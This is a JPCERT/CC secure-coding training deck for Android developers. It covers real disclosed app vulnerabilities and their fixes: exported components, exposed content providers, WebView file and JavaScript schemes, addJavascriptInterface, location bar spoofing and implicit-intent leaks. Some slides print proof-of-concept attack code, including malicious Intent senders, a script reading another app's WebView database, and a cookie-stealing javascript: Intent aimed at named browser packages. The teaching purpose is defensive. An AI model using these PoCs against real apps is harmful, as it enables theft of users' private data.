More Related Content
Similar to Android Secure Coding (20)
More from JPCERT Coordination Center (19)
Android Secure Coding
- 2. Copyright©2015 JPCERT/CC All rights reserved.
© 2015 JPCERT Coordination Center
This material is distributed by JPCERT/CC to course attendees for
their own individual study.
This material SHALL NOT be reproduced or used in any other
manner without requesting formal permission from JPCERT/CC at
secure-coding@jpcert.or.jp.
THE MATERIAL IS PROVIDED ON AN “AS IS” BASIS, AND JPCERT
COORDINATION CENTER DISCLAIMS ANY AND ALL
WARRANTIES, IMPLIED OR OTHERWISE (INCLUDING, BUT NOT
LIMITED TO, WARRANTY OF FITNESS FOR A PARTICULAR
PURPOSE, RESULTS OBTAINED FROM USE OF THE MATERIAL,
MERCHANTABILITY, AND/OR NON-INFRINGEMENT).
2
- 3. Copyright©2015 JPCERT/CC All rights reserved.
Instructors
Yozo Toda
Lead Analysit
yozo.toda@jpcert.or.jp
Joined JPCERT in 2001. As a veteran analyst,
Yozo is serving as a technical advisor for
vulnerability handlingteam. As a secure
coding evangelist, Yozo is active in training
programmers, writing technical documents,
translating books, presenting in
conferences including JavaOne, JJUG, Open
Source Conference. GSSP-C certified
programmer.
Yozo receivedB.Sc. in Mathematics from
Tokyo Metropolitan University and M.Sc. in
Computer Science fromTokyo Institute of
Technology.
Masaki Kubo
VulnerabilityAnalysis Team Lead
masaki.kubo@jpcert.or.jp
Masaki is leading the vulnerability analysis
team and secure coding initiative at
JPCERT. He has taught over 4000
programmers in Japan and Asia-Pacific
regions since 2006. Expert of ISO/IEC SC27
WG4. Visiting lecturer at National Institute
of Informatics and Tokyo Denki Univ.
Masaki studied at Keio University (B.A. in
Environmental Information) and
Dartmouth College (A.M. in Electro-acoustic
Music).
3
- 4. Copyright©2015 JPCERT/CC All rights reserved.
Timetable
4
Time Agenda
09:00 – 09:30 Part 1. Introduction
09:30 – 12:00 Part 2. Secure Coding (including short break)
12:00 – 13:00 Lunch Break
13:00 – 14:30 Part 3. Exercise: Vulnerability Analysis
14:30 – 14:45 Break
14:45 – 16:45 Part 4. Exercise: Security Code Review
16:45 – 17:00 Q & A session. Feedback. Closing Remarks.
- 5. Copyright©2015 JPCERT/CC All rights reserved.
Goals
Study Android app vulnerabilities from the real-world
examples
Learn secure coding techniques to avoid these
vulnerabilities
5
- 7. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerability Analysis Team at JPCERT/CC
Conduct root cause analysis of vulnerabilities
—Reproduce, reverse engineer, analyze source, review design,
etc
Talk to vendors to have the vulnerability fixed
Talk to developers on secure coding (C, C++, Java and
Android)
R&D
7
- 9. Copyright©2015 JPCERT/CC All rights reserved.
Android Users Grow in 2014
9
[Source] The Guardian(January
13, 2014)
“Smartphone explosion in
2014 will see ownership in
India pass US”
- 10. Copyright©2015 JPCERT/CC All rights reserved.
Android Security on News Headlines
10
http://securityintelligence.com/mobile-malware-threats-in-2015-fraudsters-are-still-two-steps-ahead/
http://securityintelligence.com/mazeltov-more-android-malware-coming-to-a-mobile-device-near-you/#.Vac5BBNCrfA
- 11. Copyright©2015 JPCERT/CC All rights reserved.
Android Security on News Headlines
11
http://www.pcworld.com/article/2099421/report-malwareinfected-android-apps-spike-in-the-google-play-store.html
http://www.cnet.com/how-to/malware-authors-target-android-phones/
- 12. Copyright©2015 JPCERT/CC All rights reserved.
Categorization of Android App Security Issues
12
Viruses
(Malicious Apps)
Potentially
Unwanted
Apps
Vulnerable
Apps
Research on Android App Vulnerabilities, Oct. 2013
http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf
- 13. Copyright©2015 JPCERT/CC All rights reserved.
Categorization of Android App Security Issues
13
Viruses
(MaliciousApps)
Potentially
Unwanted
Apps
Vulnerable
Apps
Not much
developers can
do with
Yes, this is our concern.
The responsibility is on
App developers.
- 14. Copyright©2015 JPCERT/CC All rights reserved.
Easily Mitigated
Virus
(Malicious Apps)
Potentially
Unwanted
Apps
Vulnerable
Apps
Category PotentialImpact Countermeasures
Distribute virus-infected apps
to end users
Scan apps with Anti-Virus
before releasing them
Distribute annoying apps to
end users, bringing bad
corporate reputation
Change the design so that it
will not collectuser’s sensitive
data unnecessarily. Prepare
and publish privacy policy of
the app.
End usersʼ’ privacy get
compromised. Damages
corporation reputation as well.
App developers need to design
apps secure and code securely.
Impact and Countermeasures
14
Challenging
- 15. Copyright©2015 JPCERT/CC All rights reserved.
Secure Android App Development
15
Scan with Anti-‐‑‒Virus
before releasing apps
Design not to annoy
endusers
The focus of
this course
Virus
(Malicious Apps)
Potentially
Unwanted
Apps
Vulnerable
Apps
- 16. Copyright©2015 JPCERT/CC All rights reserved.
Android App Vulnerabilities Reported in Japan
16
http://www.ipa.go.jp/security/vuln/report/JVNiPedia2012q3.html
The year of Vulnerable App
Explosion of private report in 2012
Apps
#
The number of Android OS software vulnerability reported by the year
- 17. Copyright©2015 JPCERT/CC All rights reserved.
Survey of Android App Vulnerabilities
17
Survey of Vulnerabilities in Android Apps 2013
http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf
96% of the Apps in the market are vulnerable
Vulnerable
Almost all the android apps contain some vulnerability
- 18. Copyright©2015 JPCERT/CC All rights reserved.
The Same Mistakes are Repeated
Same easy mistakes are
repeated
—File permissions
—Logging
—Exported settings
All the app developer
should have:
—Android specific security
model
—Secure coding best
pracitce
18
http://www.ipa.go.jp/about/technicalwatch/pdf/120613
report.pdf
component
file
Improper
Access Controlothers
Android app vulnerabilities
reported to IPA
Vulnerability Trend
- 19. Copyright©2015 JPCERT/CC All rights reserved.
Android App Vuls JPCERT has coordinated
19
Etc.
Advisories Published: over 50 Apps
Under Coordination: 200 Apps
Developers have been cooperative and
responsive for most of the cases
Developers have been cooperative and
responsive for most of the cases
- 20. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerability Categories
20
App Component Exposure
1. Unintended Activity Exposure
2. Local Server Accessible from Other Apps
3. Unintended Content Provider Exposure
WebView
4. File scheme
5. addJavascriptInterface
6. Location Bar Spoofing
7. JavaScript execution context
App Data Leakage
8. Broadcasting sensitive information
9. Loging sensitive information
10. Storing sensitive data in SD card
11. Improper File Permissions
HTML 5
12. Geolocation API and Privacy Concern
‘Classic’ Errors
13. Cryptographic Issues
14. Path traversal
15. Unsafe Decompression of Zip Files
16. Improper Certificate Verification
- 21. Copyright©2015 JPCERT/CC All rights reserved.
‘Bugs’ and ‘Vulnerabilities’
21
Traditional
Bug Vulnerability
Intended
Behavior Actual Behavior
Whittaker and Thompson, 2003
Secure software does what it is supposed to do
and doesn’t do what is not expected to do.
Secure software does what it is supposed to do
and doesn’t do what is not expected to do.
- 22. Copyright©2015 JPCERT/CC All rights reserved.
Secure Coding
22
Coding Errors
Flaws, Bugs,
Defects
Vulnerabilities
Root Cause
Small set of
patterns
Secure coding
patterns
- 23. Copyright©2015 JPCERT/CC All rights reserved.
Android App Vulnerabilities
In Part 2, we will look at each real world
vulnerabilities and discuss:
► Nature of the vulnerability
► Root cause
► How to fix the vulnerability
► References
23
- 24. Copyright©2015 JPCERT/CC All rights reserved.
Reference for a Developer
Android Application Secure Design / Secure Coding
Guidebook by JSSEC
— http://www.jssec.org/dl/android_securecoding_en.pdf
24
Updated in June 1st, 2015.
Intended to be copied and pasted for
commercialuse.
Sample code is under Apache License
version 2.0.
- 25. Copyright©2015 JPCERT/CC All rights reserved.
Reference for a Developer
www.droidsec.org
—One of the most exhaustive list of materials related to
Android security
Whitepapers
Tools
Exploits
Crack-Me
Books
Miscellaneous stuffs
25
- 27. Copyright©2015 JPCERT/CC All rights reserved.27
App Component Exposure
1.Unintended Activity Exposure
2.Local Server Accessible from Other Apps
3.Unintended Content Provider Exposure
- 29. Copyright©2015 JPCERT/CC All rights reserved.
3rd Party Twitter Client Improper Access Control to its
Components
29
Allows other application with no
network access permissions to upload
pictures
3rd party Twitter client for Android with
picture uploading capability
Malicious app could
impersonate the
user to tweet
https://play.google.com/store/apps/details?id=jp.r246.twicca
http://jvn.jp/en/jp/JVN31860555/
- 30. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario – Private Data Disclosure
30
malware
Twitter
1. Malware generates the URL for a
picture in local storage (file://...)
2. Malware starts the picture-
uploading activity by passing the
URL
3. The vulnerable app tweets with
the specified picture
Private data
disclosure
Personal information is
now made publicfile://sdcard/…/my-privacy.jpg
- 31. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario – Impersonation
31
malware
Twitter
1. Malware generates the URL for
a malicious picture (file://...)
2. Malware starts the picture-
uploading activity by passing
the URL
3. The vulnerable app tweets with
the specified picture
Malicious picture is tweeted
from the user’s twitter account
file://mal/malpic.jpg
impersonation
悪
悪
悪
悪
- 32. Copyright©2015 JPCERT/CC All rights reserved.
Root Cause
32
malware
Startingthe picture
uploading activity
Intent
• Picture-uploading activity was intended to be used internally
• However the activity was exported (accessible from other apps)!
• Other apps could send intents (request actions) to this activity
Activity is
exported
- 33. Copyright©2015 JPCERT/CC All rights reserved.
Solution
33
malware
Declare the activity private explicitly by
android:exported=“false”
Declared as a
private activity
...
<activity
android:name=".PicUploadActivity"
...
android:exported="false" />
...
AndroidManifest.xml
- 34. Copyright©2015 JPCERT/CC All rights reserved.
JSSEC Secure Coding Guidebook
34
4.1.1.1. Creating/UsingPrivate Activities Guideline to define
privately used Activity
sample manifest
Sample java code
Seucre coding points
android:exported="false
"
Sample app that
demonstratedthe
implementation of
secure coding
points
- 35. Copyright©2015 JPCERT/CC All rights reserved.
How the App was Fixed
35
…
public void onCreate(Bundle arg5) {
super.onCreate(arg5);
...
ComponentName v0 = this.getCallingActivity();
if (v0 == null) {
this.finish();
}
else if (!“jp.r246.twicca”.equals(v0.getPackageName())) {
this.finish();
}
else {
// code for uploading pictures …
}
}
The added code checks if the package name of the calling code is
the same as its own package name.
this check
was added
The more appropriate fix is “exported = false”.
- 37. Copyright©2015 JPCERT/CC All rights reserved.
About the App
ES File Explorer File Manager
—com.estrongs.android.pop
Feature
— File and application manager
Vulnerability
—Files store in the external media became accessible over the
network
37
- 38. Copyright©2015 JPCERT/CC All rights reserved.
HTTP Server Started in the App
When you play music files or videos using this app, the
app starts the HTTP Server in device which is remotely
accessible
38
- 39. Copyright©2015 JPCERT/CC All rights reserved.
Unrestricted Access
The HTTP Server allowed
unrestricted access
By accessing the HTTP
Server remotely, a list of
files on the external media
could be seen
—Attackers can download
those files
39
- 40. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenarios
Conditions
—An attacker can only exploit the vulnerability when media
files are played by the user of the app
Scenarios
—The user must be forced to play media files somehow
—An attacker needs to obtain the IP address of the device
—The device need to be remotely accessible
40
could be difficult to attack
- 41. Copyright©2015 JPCERT/CC All rights reserved.
Solution
Limit the accessibility to the local server
—user authentication by user id / password
—IP address restrictions
Things to Consider
—Any other apps need to access the local server ?
—Do you really need to launch a local web server ?
41
- 43. Copyright©2015 JPCERT/CC All rights reserved.
Content Provider
mechanism to share data between applications
makes it easy to implement reading/writing data
—don't need to worry about locking/exclusive access control
43
- 44. Copyright©2015 JPCERT/CC All rights reserved.
Case
Vulnerable app (has not been fixed yet)
Feature
—A day planner app for Android. The integration of the TODO
and Note memos allows linkage of the scheduled plan with
its corresponding information.
Vulnerability
—The Content Provider was made public. Other apps could
access the application data via Content Provider of the app.
44
- 45. Copyright©2015 JPCERT/CC All rights reserved.
Intention of the Developer
Designed the ContentProvider accessible from any apps to
share application data
45
App A
by the same developer
Vulnerable App
ContentProviderContentProvider
READ/WRITEREAD/WRITE
DatabaseDatabase
App B
by the same developer
- 46. Copyright©2015 JPCERT/CC All rights reserved.
Cannot Block Malicious Apps
Malicious apps can also access application data through
the Content Provider
46
Malicious App
retrieve/manipulateretrieve/manipulate
Vulnerable App
ContentProviderContentProvider
READ/WRITEREAD/WRITE
datadata
- 47. Copyright©2015 JPCERT/CC All rights reserved.
Details
The ContentProvider was designed to be used internally
as well as externally
Intended to be used by other apps developed by the same
company
47
Vulnerable App
ContentProviderContentProvider
DatabaseDatabase
Calendar
Activity
Calendar
Activity
Memo
Activity
Memo
Activity
Photo Memo
Activity
Photo Memo
Activity
Voice Memo
Activity
Voice Memo
Activity
TODO
Activity
TODO
Activity
Direct DB
Access
Direct DB
Access
App A
the same developer
Malicious App
No Access
Restriction
Any App can
Access
No Access
Restriction
Any App can
Access
- 48. Copyright©2015 JPCERT/CC All rights reserved.
Data Access/Manipulation
What can attacker do ?
Note memos, photos, TODO, Voice memos
—Retrieve and manipulate application data
48
final String CONTENT_URI = "content://jp.co.XXXX.XXXXXX";
ContentValues values = new ContentValues();
values.put("filename", "/data/data/jp.co.XXXX.XXXXXX/databases/xxx");
values.put("titlename", "hogehoge");
getContentResolver().insert(Uri.parse(CONTENT_URI + "/textmemo"), values);
Ex. Malicious code to add data to a memo
- 49. Copyright©2015 JPCERT/CC All rights reserved.
To Share Data
Consider:
Range of the apps that you want to share data with
—unspecified large number of apps?
—apps that have the same signature?
—apps that have a specific permission?
Contents of the data
—Safe data to be shared with other apps?
What do you want to allow?
—Only allow retrieving the data?
—Or allow to add, edit or delete data as well?
49
- 50. Copyright©2015 JPCERT/CC All rights reserved.
To Share Data #1
Share data with any apps (unlimited)
A ContentProvider used to be made public to other apps
by default (before API17)
After Android 4.2 (API17), a ContentProvider is private
unless you explicitly make it public
—To make it private, set android:minSdkVersion and
android:targetSdkVersion to 17 or later
50
<provider android:name="SampleContentProvider"
android:authorities=“com.example.app.Provider”
android:exported="true" />
AndroidManifest.xml
- 51. Copyright©2015 JPCERT/CC All rights reserved.
To Share Data #2
Share with apps that have the same
signature
51
<provider android:name="SampleContentProvider"
android:authorities="com.example.app.Provider"
android:permission="com.example.app.permission.Provider" />
<permission android:protectionLevel="signature"
android:name="com.example.app.permission.Provider">
</permission>
AndroidManifest.xml
- 52. Copyright©2015 JPCERT/CC All rights reserved.
To Share Data #3
Share with apps that have a specific
permission
52
<provider android:name=“RssContentProvider"
android:authorities="com.example.app.Provider"
android:permission="com.example.app.permission.Provider" />
<permission android:name="com.example.app.permission.Provider" />
AndroidManifest.xml
The above example defines singleread-write provider-levelpermission.
- 53. Copyright©2015 JPCERT/CC All rights reserved.
Don’t Want to Share Data
Consider:
Is it necessary to use a ContentProvider?
—If not, don’t
Make your ContentProvider private
—by specifying "android:exported=false" attribute in the
manifest file
53
- 54. Copyright©2015 JPCERT/CC All rights reserved.
Don’t Want to Share Data #1
Don’t use ContentProvider
Use SQLiteDatabase class or SQLiteOpenHelper class
—So that other apps cannot access the database
54
SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
new File(
"/data/data/" + getContext().getPackageName() + "/databases/",
DATABASE), null);
long id = db.insert("items", null, values);
db.close();
- 55. Copyright©2015 JPCERT/CC All rights reserved.
Don’t Want to Share Data #2
Make ContentProvider private
Specify "android:exported" attribute in the manifest
—However, in Android 2.2(API8) or before, even if you
explicitly declare "android:exported=false",your Content
Provider is accessible from other apps
55
<provider android:name="SampleContentProvider"
android:authorities=“com.example.app.Provider”
android:exported="false" />
- 56. Copyright©2015 JPCERT/CC All rights reserved.
JSSEC Secure Coding Guidebook
56
Flowchartthat guides you to choose the
appropriate type of contentprovider
- 57. Copyright©2015 JPCERT/CC All rights reserved.
Summary
Really need to use ContentProvider ?
—If you don’t need to share data between apps
DO NOT USE Content Provider
Connect directly to the database
—If you need to share data between apps
Do not include sensitive information
Limit the apps that can connect to your ContentProvider
57
- 58. Copyright©2015 JPCERT/CC All rights reserved.58
WebView
4. File Scheme
5. addJavascriptInterface
6. Location Bar Spoofing
7. JavaScript Execution Context
- 60. Copyright©2015 JPCERT/CC All rights reserved.
Case
Yahoo! Japan Browser / Sleipnir Mobile
Feature
—Web Browser apps
Vulnerability
—WebView with JavaScript enabled
—WebView processes any URI passed through Intents without
any validation
The URI may point to an attacker’s HTML file with javascript
60
- 61. Copyright©2015 JPCERT/CC All rights reserved.
Typical Code (vulnerable)
public class MyBrowser extends Activity {
@override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView webView = (WebView) findViewById(R.id.webview);
// turn on javascript
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
String turl = getIntent().getStringExtra(“URL”);
webView.loadUrl(turl);
}
}
61
This activity could receive
an Intent that may contain
malicious data
Is it safe to processes any given URI ?
- 62. Copyright©2015 JPCERT/CC All rights reserved.
Activity that Implements WebView
62
アプリB
IntentURL
This Vulnerability is often
seen in the apps that
implement the WebView
App A
DB
・cookie
・cache
WebView
public Activitypublic Activity
・JavaScriptenabled
・any URI processed
・JavaScriptenabled
・any URI processed
- 63. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario
63
Vulnerable App
DB
・cookie
・cache
WebView
public Activitypublic Activity
・Javascriptenabled
・any URI processed
・Javascriptenabled
・any URI processed
cookie
cache
Malicious App
Intent
Attacker prepares
a crafted HTML file
Attacker's
Server
- 64. Copyright©2015 JPCERT/CC All rights reserved.
Malicious app send an Intent
64
Vuln app
DB
・cookie
・cache
WebView
Activity publicActivity public
・enabled Javascript
・any URI passed
・enabled Javascript
・any URI passed
cookie
cache
Attacker supplied
HTML/Javascript
Attacker's
Server
Malicious app
Intent
String pkg = "jp.vulnerable.android.app";
String cls = pkg + ".DummyLauncherActivity";
String uri = "file:///[Exploit html file]";
Intent intent = new Intent();
intent.setClassName(pkg, cls);
intent.putExtra("url", uri);
this.startActivity(intent);
- 65. Copyright©2015 JPCERT/CC All rights reserved.
Malicious app send an Intent
65
Vuln app
DB
・cookie
・cache
WebView
Activity publicActivity public
・enabled Javascript
・any URI passed
・enabled Javascript
・any URI passed
cookie
cache
Attacker supplied
HTML/Javascript
Attacker's
Server
Malicious app
Intent
String pkg = "jp.vulnerable.android.app";
String cls = pkg + ".DummyLauncherActivity";
String uri = "file:///[Exploit html file]";
Intent intent = new Intent();
intent.setClassName(pkg, cls);
intent.putExtra("url", uri);
this.startActivity(intent);
…
String turl = getIntent().getStringExtra("url");
webView.loadUrl(turl);
- 66. Copyright©2015 JPCERT/CC All rights reserved.
Open an exploit html file
66
Vuln app
DB
・cookie
・cache
WebView
Activity publicActivity public
・enabled Javascript
・any URI passed
・enabled Javascript
・any URI passed
cookie
cache
Attacker's
Server
Malicious app
Intent
…
String turl = getIntent().getStringExtra("url");
webView.loadUrl(turl);
Attacker prepares
some crafted HTML file
- 67. Copyright©2015 JPCERT/CC All rights reserved.
Open an exploit html file
67
Vuln app
DB
・cookie
・cache
WebView
Activity publicActivity public
・enabled Javascript
・any URI passed
・enabled Javascript
・any URI passed
cookie
cache
Attacker's
Server
Malicious app
Intent
Attacker prepares
a crafted HTML file
<script>
var target = "file:///data/data/jp.vulnerable.android.app/databases/webview.db";
var xhr = new XMLHttpRequest();
xhr.overrideMimeType("text/plain; charset=iso-‐8859-‐1");
xhr.open("GET", target, true);
xhr.onreadystatechange = function() {
var data = xhr.responseText;
...
Any resource of the vulnerable
appʼ’s could be stolen
- 68. Copyright©2015 JPCERT/CC All rights reserved.
Conditions to be Vulnerable
WebView is implemented. JavaScript is enabled
Activity is public, and it receives any URI from Intent
file scheme is enabled
68
User’s private data in the app may
be stolen
- 69. Copyright©2015 JPCERT/CC All rights reserved.
Solution
Validate the URI received via Intent to decline file
scheme
—do not load the page, disable JavaScript
69
String intentUrl = getIntent().getStringExtra(”url")
String loadUrl = "about:blank";
if (!intentUrl.startsWith("file:")) {
loadUrl = intentUrl;
}
Do not load the page
String intentUrl = getIntent().getStringExtra(”url”)
wSettings.setJavaScriptEnabled(false);
if (!intentUrl.startsWith("file:")) {
wSettings.setJavaScriptEnabled(true);
}
Disable JavaScript
- 70. Copyright©2015 JPCERT/CC All rights reserved.
Android 4.1 or later
70
New methods are added:
—WebSettings#setAllowFileAccessFromFileURLs
—WebSettings#setAllowUniversalAccessFromFileURLs
http://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean)
- 73. Copyright©2015 JPCERT/CC All rights reserved.
Case
Cybozu KUNAI
—http://products.cybozu.co.jp/kunai/
Feature
—Client app to access corporate groupware
Vulnerability
—Contained a vulnerability that allows addJavascriptInterface
to be exploited
—When opening a specially crafted website,
an attacker could execute an
arbitrary Java method
73
- 74. Copyright©2015 JPCERT/CC All rights reserved.
addJavascriptInterface
WebView#addJavascriptInterface
—Binds the supplied Java object into the WebView
—Allows the Java object's methods to be accessed from
JavaScript
74
http://developer.android.com/reference/android/webkit/WebView.html
webView.addJavascriptInterface(new Object(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
can be called by the global
variable “injectedObject”
- 75. Copyright©2015 JPCERT/CC All rights reserved.
Notes on addJavascriptInterface
Allows an app to be manipulated through Javascript
Should not process untrusted content
Should only process trusted content!
75
http://developer.android.com/guide/webapps/webview.html
- 76. Copyright©2015 JPCERT/CC All rights reserved.
Example: Access the Java method from Javascript
76
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new SmsJSInterface(this),
"smsJSInterface");
GetSomeInfo getInfo = new GetSomeInfo();
getInfo.execute(null, null);
}
<script>
smsJSInterface.sendSMS('0123456789', 'hogehoge’)
</script>
public class SmsJSInterface implements Cloneable {
Context mContext;
public SmsJSInterface(Context context) {
mContext = context;
}
public void sendSMS(String phoneNumber,
String message) {
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null,
message, null, null);
}
- 77. Copyright©2015 JPCERT/CC All rights reserved.
Example: Access to the Java method from Javascript
77
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new SmsJSInterface(this),
"smsJSInterface");
GetSomeInfo getInfo = new GetSomeInfo();
getInfo.execute(null, null);
}
<script>
smsJSInterface.sendSMS('0123456789', 'hogehoge');
</script>
public class SmsJSInterface implements Cloneable {
Context mContext;
public SmsJSInterface(Context context) {
mContext = context;
}
public void sendSMS(String phoneNumber,
String message) {
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null,
message, null, null);
}
Bind the SmsJSInterface object to
WebView
access from Javascript
send to SMS
- 78. Copyright©2015 JPCERT/CC All rights reserved.
Conditions to be vulnerable
WebView is implemented. Javascript is enabled
Java objects is registered through addJavascriptInterface()
Vulnerable WebView receives input (javascript) from
untrusted source
78
- 79. Copyright©2015 JPCERT/CC All rights reserved.
Reference: risk of addJavascriptInterface
79
By using reflection
— An attacker can obtain Context
through Javascript
—Even more!
—Runtime.exec() to do anything
under the app’s priviledge
MWR InfoSecurity
WebView addJavascriptInterface Remote Code Execution
https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
- 80. Copyright©2015 JPCERT/CC All rights reserved.
Summary
80
Design so that you don’t need addJavascriptInterface
If you need to use…
—Use only trusted content
NEVER USE
WebView#addJavascriptInterface
- 81. Copyright©2015 JPCERT/CC All rights reserved.
Android 4.2 (API17) and later
81
class JsObject {
@JavascriptInterface
public String toString() {
return "injectedObject";
}
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Only public methods annotated with
"JavascriptInterface" can be accessed from Javascript
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
java.lang.String)
- 84. Copyright©2015 JPCERT/CC All rights reserved.
An attacker may display a
different URL than that of page
contents
https://play.google.com/store/apps/details?id=jp.co.yahoo.android.ybrowser
https://jvn.jp/en/jp/JVN55074201/
Could be abused
for phishing…
Location Bar Spoofing Vulnerability in Android Web Browsers
84
- 85. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario – Phishing
85
“Yahoo! Browser” contains a flaw in displaying URL,
which allows the location bar to be spoofed.
A user access a malicious page, www.example.jp
User
The server
responds with
the requested
contents
The location bar shows a URL which looks different from
the site beingaccessed
- 86. Copyright©2015 JPCERT/CC All rights reserved.
How the Flaw Could Be Exploited
86
“Yahoo! Browser” contains a flaw in displaying URL,
which allows the address bar to be spoofed.
A user access a malicious page on www.example.jp
User
The server
responds with
the requested
contents
The location bar shows a URL which is different from the
site beingaccessed
<script>
function spoof(){
var w = window.open(the URL to spoof)
w.document.write(contents to be displayed)
}
</script>
- 87. Copyright©2015 JPCERT/CC All rights reserved.
The behavior of the Vulnerable App
87
Attack Scenario – Phishing -‐‑‒
“Yahoo! Browser” contains an issue in displaying
URL, which may result in the address bar being
spoofed.
A user access a malicious page on
www.example.jp
User
responds with
the requested
contents
The addressbarshows some URL different from the actual
contents
<script>
function spoof(){
var w = window.open(URL of Trusted
Site)
w.document.write(actual contents)
}
</script>
<script>
function spoof(){
var w = window.open(the URL to spoof)
w.document.write(some contents)
}
</script>
how is the javascript interpreted? (assumption)
•Open a new browser window
•Print the argument (URL) on the location bar
•Terminate the loading of the URL
•Writes ‘some contents’ to the window
Between those two statement,
location bar is not updated?
- 88. Copyright©2015 JPCERT/CC All rights reserved.
Root Cause (assumption)
88
Location Bar
Source of the content
(URI)
The two components failed to synchronize
each other
Browser window
Page contents
Not synchronized!
- 89. Copyright©2015 JPCERT/CC All rights reserved.
Solution?
89
Which is the expected behavior:
a. Display incorrect URL (yes spoofed!)
b. Leave loation bar blank
c. Ignore document.write()
Which is the desirable behavior?
Any alternatives?
- 90. Copyright©2015 JPCERT/CC All rights reserved.
Solution?
90
Which is the expected behavior:
a. Display incorrect URL (yes spoofed!)
b. Leave loation bar is blank
c. Ignore document.write()
Which is the desirable behavior?
Any alternatives?
Pro: Better than a. to avoid the mismatch
between the contents and the URL
Con: user can’t determine where the
contents came from
- 91. Copyright©2015 JPCERT/CC All rights reserved.
Solution?
91
Which is the expected behavior:
a. Display incorrect URL (yes spoofed!)
b. Leave loation bar is blank
c. Ignore document.write()
Which is the desirable behavior?
Any alternatives?
Pro: Better than a. to avoid the mismatch
between the contents and the URL
Con: the behavior may be different from
what the developer expects
- 93. Copyright©2015 JPCERT/CC All rights reserved.
Case
Opera, Sleipnir
Feature
—Web browser apps
Problem
—Javascript is executed in
the context of the target
site
93
- 94. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenarios
Attacker sends multiple Intents
1. First send an Intent to display the target site
2. Then send Javascript a attacker want to be executed as
another Intent
Ex.
1. Send an Intent that loads www.google.com
2. Send JavaScript (show cookie) via Intent
By using Javascript Scheme
—javascript:alert(document.cookie)
94
- 95. Copyright©2015 JPCERT/CC All rights reserved.
Proof of Concept
95
String pkg = "jp.co.aaa.bbb.ccc";
String cls = pkg + ".main.IntentActivity";
Intent intent1 = new Intent();
intent1.setClassName(pkg, cls);
intent1.setAction("android.intent.action.VIEW");
intent1.setData(Uri.parse("http://www.google.com"));
startActivity(intent1);
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
String js = "alert(document.cookie);";
Intent intent2 = new Intent();
intent2.setClassName(pkg, cls);
intent2.setAction("android.intent.action.VIEW");
intent2.setData(Uri.parse(js));
startActivity(intent2);
Send the URL of the
target
Send JavaScript that
an attacker want to
have it executed
- 96. Copyright©2015 JPCERT/CC All rights reserved.
PoC
96
String pkg = "jp.co.fenrir.android.sleipnir";
String cls = pkg + ".main.IntentActivity";
Intent intent1 = new Intent();
intent1.setClassName(pkg, cls);
intent1.setAction("android.intent.action.VIEW");
intent1.setData(Uri.parse("http://www.google.com"));
startActivity(intent1);
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
String js = "alert(document.cookie);";
Intent intent2 = new Intent();
intent2.setClassName(pkg, cls);
intent2.setAction("android.intent.action.VIEW");
intent2.setData(Uri.parse(js));
startActivity(intent2);
Javascript is executed in the
context of www.google.com
- 97. Copyright©2015 JPCERT/CC All rights reserved.
Solution
97
Verify if you received a URI in the Intent
—Do not accept JavaScript Scheme
The app has been fixed already
—However, code is obfuscated
—We couldn't confirm how it was fixed
- 98. Copyright©2015 JPCERT/CC All rights reserved.98
App Data Leakage
8.Broadcasting sensitive information
9.Loging sensitive information
10.Storing sensitive data in SD card
11.Improper File Permissions
- 100. Copyright©2015 JPCERT/CC All rights reserved.
Intent
Intent
—A message object that is passed between components (such
as Activity, Service, Broadcast Receiver, Content Provider)
—Explicit Intent
package is specified
—Implicit Intent
package is not specified. there is a risk of information leakage
Intent.setPackage(packageName)
—Limit package that can resolve the Intent
—Available for Android 4.0(API14) and later
100
- 101. Copyright©2015 JPCERT/CC All rights reserved.
LINE for Android vulnerable in handling
implicit intents
101
Handling implicit intents is
inappropriate, information such as
messages sent by LINE may be leaked
https://play.google.com/store/apps/details?id=jp.naver.line.androi
http://jvn.jp/en/jp/JVN67435981/
LINE is an app for
communicationwith others.
- 102. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario
102
Victim
2. The message is Broadcasted thus
malware could also read the
message
App
Malsare
Message
(Intent)
Information
Disclosure
App
App
message
1. Victim sends a message (suppose
malware is already installed)
Malware
Broadcast
receiver
Broadcast
receiver
- 103. Copyright©2015 JPCERT/CC All rights reserved.
Solution
103
Malware
• If you only want to send Intent to
your internal Broadcast receiver,
use explicit Intent
• limit the destination class
Limit the destination using
an explicit Intent
Q. How the flaw should be fixed?
A. Use explicit Intent
Broadcast
receiver
App
Message
(Intent)
Broadcast
receiver
- 104. Copyright©2015 JPCERT/CC All rights reserved.
JSSEC Secure Coding Guidebook
104
Use explicit Intent with class
